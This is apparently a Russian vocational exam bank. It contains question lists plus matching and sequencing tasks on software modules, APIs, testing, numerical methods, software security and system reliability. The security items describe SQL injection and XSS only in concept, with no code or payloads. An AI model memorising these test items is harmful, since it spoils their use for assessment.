15. Что такое метод наименьших квадратов и для решения каких задач он используется

МДК.02.06 Безопасность программного обеспечения

1. Что такое безопасность программного обеспечения и какие основные аспекты она включает
2. Какие основные угрозы безопасности программных модулей вы знаете
3. Что такое уязвимость программного обеспечения и чем она отличается от угрозы
4. Какие принципы безопасной разработки программного обеспечения (Security by Design) вы знаете
5. Что такое аутентификация и авторизация? В чем разница между этими понятиями
6. Какие методы аутентификации пользователей используются в программных системах
7. Что такое SQL-инъекция и как защитить программный модуль от этой атаки
8. Объясните, что такое XSS-атака (межсайтовый скриптинг) и как предотвратить ее возникновение
9. Что такое инъекция кода и какие виды инъекций существуют помимо SQL
10. Какие методы защиты от атак на веб-приложения вы знаете
11. Что такое безопасное хранение паролей? Почему нельзя хранить пароли в открытом виде
12. Какие методы шифрования данных применяются для обеспечения конфиденциальности
13. Что такое принцип наименьших привилегий и как он применяется при разработке программных модулей
14. Какие инструменты для статического анализа безопасности кода вы знаете
15. Что такое аудит безопасности программного обеспечения и какие этапы он включает

МДК.02.07 Технология разработки программного обеспечения

1. Что такое программное обеспечение и какие основные категории ПО существуют
2. Что такое технология разработки программного обеспечения и какие этапы она включает
3. Что такое жизненный цикл программного обеспечения и какие модели жизненного цикла вы знаете
4. Чем отличается каскадная модель жизненного цикла от итерационной и гибких (Agile) моделей
5. Что такое требования к программному обеспечению и какие виды требований существуют
6. Чем отличаются функциональные требования от нефункциональных требований
7. Что такое стандартизация в области разработки программного обеспечения и какие стандарты вы знаете
8. Какие методы сбора и анализа требований к ПО используются на начальных этапах разработки
9. Что такое спецификация требований и какие разделы она должна содержать
10. Что такое методология IDEF и для каких целей она применяется
11. Объясните назначение диаграммы IDEF0. Какие основные элементы входят в ее состав
12. Что такое диаграмма IDEF3 и чем она отличается от IDEF0
13. Как с помощью диаграмм IDEF описываются бизнес-процессы и потоки данных
14. Что такое качество программного обеспечения и по каким критериям оно оценивается
15. Какие модели качества программного обеспечения (ISO/IEC 25010, Mc Call) вы знаете
16. Какие метрики используются для оценки качества программного кода
17. Что такое тестирование и как оно связано с оценкой качества ПО
18. Какие методы статического анализа кода используются для оценки качества

19. Что такое надежность программного обеспечения и как она измеряется
20. Какие факторы влияют на поддерживаемость и переносимость программных продуктов

МДК.02.08 Обеспечение качества функционирования компьютерных систем

1. Что такое качество функционирования компьютерных систем и по каким критериям оно оценивается
2. Что такое многоуровневая модель качества программного обеспечения и какие уровни она включает
3. Какие характеристики качества программного обеспечения входят в модель ISO/IEC 25010
4. Что такое надежность программного обеспечения и как она связана с качеством функционирования
5. Какие объекты уязвимости в компьютерных системах вы знаете
6. Какие дестабилизирующие факторы могут влиять на надежность функционирования компьютерных систем
7. Что такое угрозы надежности и как они классифицируются
8. Какие методы повышения надежности компьютерных систем существуют
9. Что такое временная избыточность и как она применяется для повышения надежности
10. Что такое информационная избыточность и приведите примеры ее реализации
11. Что такое программная избыточность и в чем заключается ее суть
12. Какие виды резервирования используются для повышения надежности систем
13. Что такое антивирусные программы и какие функции они выполняют
14. Как классифицируются антивирусные программы по способу работы и по назначению
15. Назовите основные методы обнаружения вредоносного программного обеспечения, используемые в антивирусах
16. Какие критерии используются для сравнительного анализа антивирусных программ
17. Что такое тестирование защиты программного обеспечения и какие методы такого тестирования существуют
18. Что такое пентест и как он связан с тестированием защиты ПО
19. Какие инструменты используются для тестирования защищенности программного обеспечения
20. Что такое шифрование информации и какие задачи оно решает
21. Какие виды шифрования существуют (симметричное, асимметричное) и в чем их отличия
22. Назовите основные алгоритмы симметричного шифрования
23. Что такое протоколы шифрования сообщений и для чего они используются
24. Какие протоколы шифрования (SSL/TLS, IPSec, SSH) вы знаете и в каких сценариях применяется каждый
25. Что такое цифровая подпись и как она связана с шифрованием информации
26. Как шифрование влияет на обеспечение качества функционирования компьютерных систем

Указания по выполнению тестовых заданий

Типы заданий	Последовательность действий при выполнении заданий
Тестовые задания на установление соответствия	<ol style="list-style-type: none"> 1. Внимательно прочитать текст задания и понять, что в качестве ответов ожидаются пары элементов. 2. Внимательно прочитать оба списка: Список 1 - вопросы, утверждения, факты, понятия и т.д. Список 2 - утверждение, свойства объектов и т.д.

	<ol style="list-style-type: none"> Сопоставить элементы списка 1 с элементами списка 2, сформировать пары элементов. Записать попарно буквы/цифры (в зависимости от задания) вариантов ответов (например, А1 или Б4)
Тестовые задания на установление последовательности	<ol style="list-style-type: none"> Внимательно прочитать текст задания и понять, что в качестве ответов ожидаются последовательность элементов. Внимательно прочитать предложенные варианты ответов. Построить верную последовательность из предложенных элементов. Записать буквы/цифры (в зависимости от задания) вариантов ответа в нужной последовательности без пробелов и знаков препинания (например, БАА или 135)
Тестовые задания с выбором двух (и более) правильных ответов из перечня	<ol style="list-style-type: none"> Внимательно прочитать текст задания и понять, что в качестве ответов ожидаются два и более вариантов ответов, наиболее верных. Внимательно прочитать предложенные варианты ответов. Выбрать два и более вариантов ответов, наиболее верных. Записать только номера/буквы выбранных вариантов ответов.

**Тестовые задания на установление соответствия
МДК.02.01 Разработка программных модулей**

1. Соотнесите принцип объектно-ориентированного программирования с его описанием.

Описание	Принцип ООП
А. Соккрытие внутренних деталей реализации объекта от внешнего мира	1. Наследование
Б. Возможность использования одного интерфейса для разных типов объектов	2. Инкапсуляция
В. Создание нового класса на основе существующего с заимствованием его свойств и методов	3. Полиморфизм

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

2. Соотнесите архитектурный шаблон с его описанием.

Описание	Архитектурный шаблон
А. Разделение приложения на модель (данные), представление (интерфейс) и контроллер (обработка ввода)	1. MVP
Б. Разделение приложения на модель, представление и презентер, где презентер управляет отображением данных	2. MVVM
В. Разделение приложения на модель, представление и модель представления, обеспечивающую двустороннюю привязку данных	3. MVC

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу **выбранные цифры под соответствующими буквами**.

А	Б	В

3. Соотнесите структуру данных с ее характеристикой.

Характеристика	Структура данных
А. Работает по принципу «последним пришел – первым вышел» (LIFO)	1. Очередь
Б. Работает по принципу «первым пришел – первым вышел» (FIFO)	2. Стек
В. Элементы хранятся последовательно, доступ по индексу осуществляется за O(1)	3. Массив

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу **выбранные цифры под соответствующими буквами**.

А	Б	В

4. Соотнесите паттерн проектирования с его категорией.

Категория	Паттерн
А. Порождающий паттерн, обеспечивающий создание единственного экземпляра класса	1. Адаптер
Б. Структурный паттерн, позволяющий объектам с несовместимыми интерфейсами работать вместе	2. Стратегия
В. Поведенческий паттерн, определяющий семейство алгоритмов и делающий их взаимозаменяемыми	3. Синглтон

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу **выбранные цифры под соответствующими буквами**.

А	Б	В	Г

5. Соотнесите операцию с базой данных с соответствующим действием CRUD.

Действие CRUD	Операция SQL
А. Create (создание)	1. SELECT
Б. Read (чтение)	2. DELETE
В. Delete (удаление)	3. INSERT

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу **выбранные цифры под соответствующими буквами**.

А	Б	В

Тестовые задания на установление соответствия МДК.02.02 Осуществление интеграции программных модулей

1. Соотнесите тип API с его характеристикой.

Характеристика	Тип API
А. Архитектурный стиль, использующий HTTP-методы и работающий с ресурсами через URL	1. GraphQL

Б. Протокол на основе XML, использующий WSDL для описания сервисов	2. REST
В. Язык запросов, позволяющий клиенту запрашивать только необходимые поля данных	3. SOAP

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

2. Соотнесите метод HTTP с его назначением в REST API.

Назначение	Метод HTTP
А. Получение данных от сервера	1. POST
Б. Создание нового ресурса	2. DELETE
В. Удаление ресурса	3. GET

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

3. Соотнесите формат данных с его характеристикой.

Характеристика	Формат данных
А. Легкий текстовый формат, основанный на синтаксисе JavaScript	1. JSON
Б. Расширяемый язык разметки, использующий теги и поддерживающий схемы	2. YAML
В. Формат, ориентированный на читаемость человеком, часто используется в конфигурационных файлах	3. XML

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

4. Соотнесите подход к интеграции с его описанием.

Описание	Подход к интеграции
А. Прямое взаимодействие между модулями через API или вызовы функций	1. Шина данных
Б. Интеграция через центральный компонент, управляющий маршрутизацией сообщений	2. Микросервисная архитектура
В. Архитектура, где приложение разбито на множество небольших независимых сервисов	3. Точка-точка

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В	Г

5. Соотнесите протокол или технологию с её назначением при интеграции.

Назначение	Протокол/технология
А. Обеспечение безопасной передачи данных по сети с использованием сертификатов	1. JWT
Б. Токен для авторизации и передачи информации между сторонами	2. HTTPS

в компактном виде	
В. Брокер сообщений для асинхронного обмена данными между сервисами	3. RabbitMQ

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

Тестовые задания на установление соответствия МДК.02.03 Поддержка и тестирование программных модулей

1. Соотнесите вид тестирования с его описанием.

Описание	Вид тестирования
А. Тестирование отдельных компонентов программы в изоляции от других	1. Системное тестирование
Б. Тестирование взаимодействия между несколькими модулями	2. Модульное тестирование
В. Тестирование полностью собранного приложения на соответствие требованиям	3. Интеграционное тестирование

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

2. Соотнесите технику разработки тест-кейсов с ее описанием.

Описание	Техника
А. Разделение входных данных на группы, обрабатываемые одинаково	1. Анализ граничных значений
Б. Проверка значений на границах классов эквивалентности	2. Парное тестирование
В. Техника, основанная на комбинациях пар входных параметров	3. Эквивалентное разбиение

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

3. Соотнесите статус дефекта с его описанием.

Описание	Статус
А. Дефект обнаружен, но еще не передан на исправление	1. Исправлен
Б. Дефект передан разработчику, начата работа по исправлению	2. Открыт (новый)
В. Дефект исправлен, ожидает проверки тестировщиком	3. В работе

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

4. Соотнесите инструмент тестирования с его назначением.

Назначение	Инструмент
А. Автоматизированное тестирование веб-приложений через браузер	1. JUnit

Б. Модульное тестирование кода на Java	2. Selenium
В. Тестирование API и отправка HTTP-запросов	3. Postman

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В	Г

5. Соотнесите вид тестирования по уровню автоматизации с его описанием.

Описание	Вид тестирования
А. Тестирование, выполняемое вручную тестировщиком без использования инструментов	1. Автоматизированное тестирование
Б. Тестирование, выполняемое с помощью программных средств и скриптов	2. Ручное тестирование
В. Тестирование, сочетающее ручные и автоматизированные подходы	3. Смешанное тестирование

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

Тестовые задания на установление соответствия МДК.02.04 Математическое моделирование

1. Соотнесите тип модели с его описанием.

Описание	Тип модели
А. Модель, в которой все параметры являются точно определенными величинами	1. Стохастическая модель
Б. Модель, учитывающая случайные факторы и вероятностные характеристики	2. Имитационная модель
В. Модель, воспроизводящая процесс функционирования системы во времени	3. Детерминированная модель

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

2. Соотнесите характеристику системы массового обслуживания с ее определением.

Определение	Характеристика
А. Среднее число заявок, поступающих в систему за единицу времени	1. Интенсивность нагрузки
Б. Отношение интенсивности поступления заявок к интенсивности обслуживания	2. Интенсивность потока заявок
В. Среднее время, затрачиваемое на обслуживание одной заявки	3. Время обслуживания

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

3. Соотнесите этап построения математической модели с его содержанием.

Содержание	Этап
------------	------

А. Выделение существенных факторов и связей между ними, упрощение реального объекта	1. Проверка адекватности
Б. Сравнение результатов моделирования с реальными данными	2. Формализация
В. Реализация модели на компьютере, проведение расчетов	3. Компьютерный эксперимент

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

4. Соотнесите метод моделирования с его описанием.

Описание	Метод
А. Метод, основанный на многократном случайном выборе значений параметров для оценки результатов	1. Аналитическое моделирование
Б. Метод, использующий математические формулы и уравнения для описания системы	2. Имитационное моделирование
В. Метод, воспроизводящий поведение системы во времени с помощью компьютерной программы	3. Метод Монте-Карло

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В	Г

5. Соотнесите понятие с его определением.

Определение	Понятие
А. Соответствие модели реальному объекту в рамках поставленной задачи	1. Верификация
Б. Проверка правильности реализации модели на компьютере	2. Валидация
В. Определение чувствительности результатов модели к изменению параметров	3. Анализ чувствительности

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

Тестовые задания на установление соответствия МДК.02.05 Численные методы

1. Соотнесите метод решения нелинейных уравнений с его описанием.

Описание	Метод
А. Метод, основанный на последовательном делении отрезка пополам	1. Метод Ньютона
Б. Метод, использующий касательную для приближения к корню	2. Метод половинного деления
В. Метод, основанный на последовательных приближениях к корню	3. Метод простой итерации

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

2. Соотнесите метод численного интегрирования с его описанием.

Описание	Метод
А. Площадь под кривой заменяется суммой площадей прямоугольников	1. Метод трапеций
Б. Площадь под кривой заменяется суммой площадей трапеций	2. Метод прямоугольников
В. Площадь под кривой заменяется суммой площадей параболических сегментов	3. Метод Симпсона

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

3. Соотнесите метод решения систем линейных уравнений с его описанием.

Описание	Метод
А. Метод последовательного исключения неизвестных с приведением матрицы к треугольному виду	1. Метод простой итерации
Б. Метод, основанный на последовательных приближениях к решению	2. Метод Зейделя
В. Модификация метода простой итерации с использованием уже вычисленных значений	3. Метод Гаусса

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

4. Соотнесите вид погрешности с ее описанием.

Описание	Вид погрешности
А. Погрешность, возникающая из-за конечного числа разрядов при представлении чисел в компьютере	1. Абсолютная погрешность
Б. Погрешность, связанная с заменой непрерывной функции дискретной	2. Относительная погрешность
В. Разность между точным и приближенным значением	3. Погрешность округления

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В	Г

5. Соотнесите понятие с его определением.

Определение	Понятие
А. Построение новой функции, проходящей через заданные точки	1. Аппроксимация
Б. Приближенное описание сложной функции более простой, не обязательно проходящей через все точки	2. Интерполяция
В. Метод нахождения параметров функции, обеспечивающих минимальную сумму квадратов отклонений	3. Метод наименьших квадратов

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

Тестовые задания на установление соответствия МДК.02.06 Безопасность программного обеспечения

1. Соотнесите понятие безопасности с его описанием.

Описание	Понятие
А. Проверка подлинности пользователя (кто вы)	1. Авторизация
Б. Определение прав доступа пользователя к ресурсам (что вам разрешено)	2. Аутентификация
В. Обеспечение того, что отправитель не может отказаться от факта отправки сообщения	3. Неотказуемость

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

2. Соотнесите тип атаки с ее описанием.

Описание	Тип атаки
А. Внедрение вредоносного кода в запрос к базе данных	1. XSS
Б. Внедрение вредоносного скрипта в веб-страницу, выполняемый в браузере жертвы	2. SQL-инъекция
В. перехват и прослушивание сетевого трафика	3. Сниффинг

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

3. Соотнесите метод защиты с его описанием.

Описание	Метод защиты
А. Преобразование данных в зашифрованный вид для предотвращения несанкционированного доступа	1. Хэширование
Б. Необратимое преобразование данных для проверки целостности	2. Шифрование
В. Добавление случайных данных к паролю перед хэшированием	3. Соль (salt)

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

4. Соотнесите принцип безопасной разработки с его описанием.

Описание	Принцип
А. Предоставление пользователю минимально необходимых прав для выполнения задач	1. Защита по умолчанию
Б. Безопасность должна быть встроена в продукт, а не добавлена в конце	2. Минимум привилегий
В. Система должна быть защищена даже при возникновении ошибок	3. Безопасность на всех этапах

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В	Г

5. Соотнесите метод шифрования с его характеристикой.

Характеристика	Метод шифрования
А. Используется один ключ для шифрования и расшифрования	1. Асимметричное шифрование
Б. Используется пара ключей: открытый и закрытый	2. Симметричное шифрование
В. Алгоритм, используемый для создания цифровой подписи	3. RSA

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

**Тестовые задания на установление соответствия
МДК.02.07 Технология разработки программного обеспечения**

1. Соотнесите вид требования с его описанием.

Описание	Вид требования
А. Описывает, что система должна делать (какие функции выполнять)	1. Функциональные требования
Б. Описывает свойства и ограничения системы (производительность, безопасность, надежность)	2. Бизнес-требования
В. Описывает цели и задачи организации при внедрении системы	3. Нефункциональные требования

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

2. Соотнесите элемент диаграммы IDEF0 с его описанием.

Описание	Элемент IDEF0
А. Преобразует входные данные в выходные, обозначает функцию или процесс	1. Вход
Б. Материал или информация, которая преобразуется в процессе	2. Управление
В. Правила, ограничения, условия, которыми руководствуется функция	3. Функциональный блок

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

3. Соотнесите модель жизненного цикла ПО с ее характеристикой.

Характеристика	Модель
А. Последовательное выполнение этапов, каждый следующий начинается после завершения предыдущего	1. Agile (Scrum)
Б. Разработка итерациями, каждая итерация добавляет новую функциональность	2. Каскадная модель
В. Гибкая методология, основанная на спринтах и постоянной обратной связи	3. Итерационная модель

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

4. Соотнесите характеристику качества ПО с ее описанием.

Описание	Характеристика качества
А. Способность системы выполнять требуемые функции	1. Надежность
Б. Способность системы сохранять работоспособность в заданных	2. Функциональная пригод-

условиях	ность
В. Способность системы быть адаптированной к изменениям	3. Поддерживаемость

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В	Г

5. Соотнесите элемент диаграммы IDEF3 с его описанием.

Описание	Элемент IDEF3
А. Показывает последовательность выполнения работ	1. Перекресток
Б. Обозначает ветвление или слияние потоков работ	2. Единица работы
В. Обозначает объект, который используется или создается в процессе	3. Ссылка на объект

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

Тестовые задания на установление соответствия

МДК.02.08 Обеспечение качества функционирования компьютерных систем

1. Соотнесите характеристику качества с ее описанием (многоуровневая модель качества).

Описание	Характеристика качества
А. Способность системы сохранять работоспособность в заданных условиях	1. Функциональность
Б. Способность системы выполнять требуемые функции	2. Надежность
В. Способность системы быть удобной для использования	3. Удобство использования

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

2. Соотнесите метод повышения надежности с его описанием.

Описание	Метод повышения надежности
А. Повторное выполнение операций для исправления временных сбоев	1. Информационная избыточность
Б. Добавление контрольных разрядов для обнаружения и исправления ошибок	2. Программная избыточность
В. Использование нескольких версий программы для сравнения результатов	3. Временная избыточность

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

3. Соотнесите тип антивирусной программы с ее описанием.

Описание	Тип антивируса
А. Обнаруживает вирусы по известным сигнатурам (образцам кода)	1. Эвристический антивирус
Б. Анализирует поведение программ и выявляет подозри-	2. Сигнатурный антивирус

тельные действия	
В. Мониторит работу системы в реальном времени и блокирует угрозы	3. Резидентный антивирус

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

4. Соотнесите вид шифрования с его характеристикой.

Характеристика	Вид шифрования
А. Используется один ключ для шифрования и расшифрования	1. Симметричное шифрование
Б. Используется пара ключей: открытый и закрытый	2. Асимметричное шифрование
В. Протокол, обеспечивающий безопасную передачу данных в интернете	3. SSL/TLS

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В	Г

5. Соотнесите дестабилизирующий фактор с его описанием.

Описание	Дестабилизирующий фактор
А. Внешнее воздействие, приводящее к нарушению работы системы	1. Сбой
Б. Ошибка в программном коде, приводящая к некорректной работе	2. Отказ
В. Полная потеря работоспособности системы	3. Дефект

К каждой позиции первого столбца подберите соответствующую позицию второго и запишите его в таблицу выбранные цифры под соответствующими буквами.

А	Б	В

Тестовые задания на установление последовательности МДК.02.01 Разработка программных модулей

1. Расположите этапы жизненного цикла разработки программного модуля в правильной последовательности:

1. Тестирование и отладка
2. Проектирование архитектуры модуля
3. Анализ требований
4. Написание кода (реализация)

Правильная последовательность: _____

2. Расположите этапы решения задачи с использованием рекурсии в правильной последовательности:

1. Проверка базового условия (условия выхода)
2. Вызов функции с измененными параметрами (рекурсивный вызов)
3. Выполнение действий для текущего уровня рекурсии
4. Возврат результата

Правильная последовательность: _____

3. Расположите этапы работы алгоритма сортировки пузырьком для массива из n элементов в правильной последовательности:

1. Сравнение соседних элементов
2. Выполнение прохода по массиву от начала до конца
3. Повторение проходов до тех пор, пока массив не будет отсортирован
4. Обмен элементов, если они расположены в неправильном порядке

Правильная последовательность: _____

4. Расположите этапы создания и использования пользовательской функции в программе в правильной последовательности:

1. Вызов функции из основной программы
2. Передача аргументов (при необходимости)
3. Определение функции (заголовок и тело)
4. Возврат результата в основную программу

Правильная последовательность: _____

5. Расположите этапы разработки программного модуля с использованием системы контроля версий Git в правильной последовательности:

1. Фиксация изменений (commit)
2. Создание локального репозитория (init)
3. Добавление файлов в отслеживаемые (add)
4. Отправка изменений в удаленный репозиторий (push)

Правильная последовательность: _____

МДК.02.02 Осуществление интеграции программных модулей

1. Расположите этапы интеграции программных модулей в правильной последовательности:

1. Тестирование интеграции
2. Определение интерфейсов взаимодействия
3. Анализ требований к интеграции
4. Разработка и настройка интеграционных компонентов

Правильная последовательность: _____

2. Расположите этапы работы с REST API в правильной последовательности:

1. Отправка HTTP-запроса на сервер
2. Обработка полученного ответа (парсинг JSON/XML)
3. Формирование URL-адреса и параметров запроса
4. Выбор метода HTTP (GET, POST, PUT, DELETE)

Правильная последовательность: _____

3. Расположите этапы асинхронной интеграции через очередь сообщений в правильной последовательности:

1. Обработка сообщения потребителем
2. Отправка сообщения в очередь
3. Размещение сообщения в очереди отправителем

4. Получение сообщения из очереди потребителем

Правильная последовательность: _____

4. Расположите этапы создания и использования API-ключа для аутентификации в правильной последовательности:

1. Включение API-ключа в заголовки запроса
2. Генерация API-ключа на стороне сервера
3. Передача API-ключа разработчику или приложению
4. Проверка API-ключа сервером при получении запроса

Правильная последовательность: _____

5. Расположите этапы версионирования API в правильной последовательности:

1. Внедрение новой версии API
2. Анализ необходимости изменений в API
3. Объявление о прекращении поддержки старой версии
4. Параллельная поддержка нескольких версий

Правильная последовательность: _____

МДК.02.03 Поддержка и тестирование программных модулей

1. Расположите этапы процесса тестирования программного модуля в правильной последовательности:

1. Выполнение тестов
2. Планирование тестирования
3. Анализ результатов и оформление отчетов
4. Разработка тест-кейсов

Правильная последовательность: _____

2. Расположите этапы жизненного цикла дефекта (бага) в правильной последовательности:

1. Исправление дефекта разработчиком
2. Обнаружение дефекта
3. Закрытие дефекта
4. Передача дефекта на исправление

Правильная последовательность: _____

3. Расположите этапы модульного тестирования в правильной последовательности:

1. Сравнение фактического результата с ожидаемым
2. Подготовка тестовых данных
3. Запуск тестируемого модуля с тестовыми данными
4. Фиксация результата теста

Правильная последовательность: _____

4. Расположите этапы регрессионного тестирования в правильной последовательности:

1. Выполнение существующих тестов
2. Внесение изменений в код
3. Анализ результатов и выявление регрессионных ошибок
4. Выбор набора тестов для выполнения

Правильная последовательность: _____

5. Расположите этапы отладки программного модуля в правильной последовательности:

1. Исправление найденной ошибки
2. Воспроизведение ошибки
3. Проверка исправления
4. Локализация места ошибки в коде

Правильная последовательность: _____

МДК.02.04 Математическое моделирование

1. Расположите этапы построения математической модели в правильной последовательности:

1. Проверка адекватности модели
2. Формализация (построение математического описания)
3. Постановка задачи
4. Компьютерный эксперимент и анализ результатов

Правильная последовательность: _____

2. Расположите этапы имитационного моделирования в правильной последовательности:

1. Анализ результатов моделирования
2. Разработка имитационной модели
3. Постановка цели моделирования
4. Проведение экспериментов с моделью

Правильная последовательность: _____

3. Расположите этапы работы метода Монте-Карло в правильной последовательности:

1. Проведение многократных случайных испытаний
2. Построение вероятностной модели
3. Анализ полученных статистических данных
4. Определение случайных параметров и законов их распределения

Правильная последовательность: _____

4. Расположите этапы верификации и валидации модели в правильной последовательности:

1. Проверка соответствия модели реальному объекту (валидация)
2. Сравнение результатов моделирования с экспериментальными данными
3. Проверка правильности реализации модели на компьютере (верификация)
4. Корректировка модели при необходимости

Правильная последовательность: _____

5. Расположите этапы анализа чувствительности модели в правильной последовательности:

1. Анализ влияния изменений на выходные параметры
2. Определение диапазонов изменения входных параметров
3. Выбор входных параметров для анализа
4. Выполнение серии расчетов с изменяемыми параметрами

Правильная последовательность: _____

МДК.02.05 Численные методы

1. Расположите этапы решения нелинейного уравнения методом половинного деления в правильной последовательности:

1. Проверка условия достижения требуемой точности
2. Определение отрезка, содержащего корень
3. Вычисление середины отрезка и значения функции в этой точке
4. Выбор новой половины отрезка, содержащей корень

Правильная последовательность: _____

2. Расположите этапы численного интегрирования методом прямоугольников в правильной последовательности:

1. Определение шага интегрирования
2. Разбиение отрезка интегрирования на части
3. Вычисление значения функции в выбранных точках
4. Суммирование площадей прямоугольников

Правильная последовательность: _____

3. Расположите этапы решения системы линейных уравнений методом Гаусса в правильной последовательности:

1. Обратный ход (нахождение неизвестных)
2. Приведение матрицы к треугольному виду
3. Запись системы в матричной форме
4. Проверка полученного решения

Правильная последовательность: _____

4. Расположите этапы интерполяции функции в правильной последовательности:

1. Вычисление значения интерполяционного многочлена в заданной точке
2. Определение узлов интерполяции (заданных точек)
3. Построение интерполяционного многочлена
4. Выбор метода интерполяции

Правильная последовательность: _____

5. Расположите этапы аппроксимации данных методом наименьших квадратов в правильной последовательности:

1. Выбор вида аппроксимирующей функции
2. Построение системы нормальных уравнений
3. Сбор экспериментальных данных (набор точек)
4. Нахождение коэффициентов аппроксимирующей функции

Правильная последовательность: _____

МДК.02.06 Безопасность программного обеспечения

1. Расположите этапы аутентификации пользователя в правильной последовательности:

1. Проверка введенных учетных данных
2. Ввод пользователем логина и пароля
3. Предоставление доступа при успешной проверке
4. Отказ в доступе при неверных данных

Правильная последовательность: _____

2. Расположите этапы проведения атаки SQL-инъекцией в правильной последовательности:

1. Выполнение вредоносного кода на сервере базы данных
2. Внедрение SQL-кода в поле ввода на веб-странице
3. Некорректная обработка введенных данных приложением
4. Получение несанкционированного доступа к данным

Правильная последовательность: _____

3. Расположите этапы безопасного хранения пароля в правильной последовательности:

1. Добавление соли (случайной строки) к паролю
2. Хранение полученного хэша в базе данных
3. Вычисление хэш-функции от пароля с солью
4. Получение пароля от пользователя

Правильная последовательность: _____

4. Расположите этапы проведения атаки XSS (межсайтовый скриптинг) в правильной последовательности:

1. Выполнение вредоносного скрипта в браузере жертвы
2. Внедрение вредоносного скрипта на веб-страницу
3. Отправка скрипта на сервер через уязвимую форму
4. Получение злоумышленником данных пользователя

Правильная последовательность: _____

5. Расположите этапы работы цифровой подписи в правильной последовательности:

1. Получатель расшифровывает подпись открытым ключом отправителя
2. Отправитель создает хэш документа
3. Отправитель шифрует хэш своим закрытым ключом (создает подпись)
4. Получатель сравнивает полученный хэш с вычисленным хэшем документа

Правильная последовательность: _____

МДК.02.07 Технология разработки программного обеспечения

1. Расположите этапы жизненного цикла программного обеспечения в правильной последовательности:

1. Тестирование и отладка
2. Проектирование архитектуры
3. Анализ и сбор требований
4. Эксплуатация и сопровождение
5. Реализация (кодирование)

Правильная последовательность: _____

2. Расположите этапы процесса сбора и анализа требований к программному обеспечению в правильной последовательности:

1. Документирование требований (спецификация)
2. Выявление требований (интервью, анкетирование)
3. Анализ и согласование требований
4. Утверждение требований заказчиком

Правильная последовательность: _____

3. Расположите этапы построения диаграммы IDEF0 для описания бизнес-процесса в правильной последовательности:

1. Определение границ модели и точки зрения
2. Построение контекстной диаграммы (A-0)
3. Декомпозиция процессов на подпроцессы
4. Определение входов, выходов, управления и механизмов

Правильная последовательность: _____

4. Расположите этапы оценки качества программного средства в правильной последовательности:

1. Выбор метрик и критериев оценки
2. Определение требований к качеству
3. Проведение измерений и сбор данных
4. Анализ результатов и формирование заключения

Правильная последовательность: _____

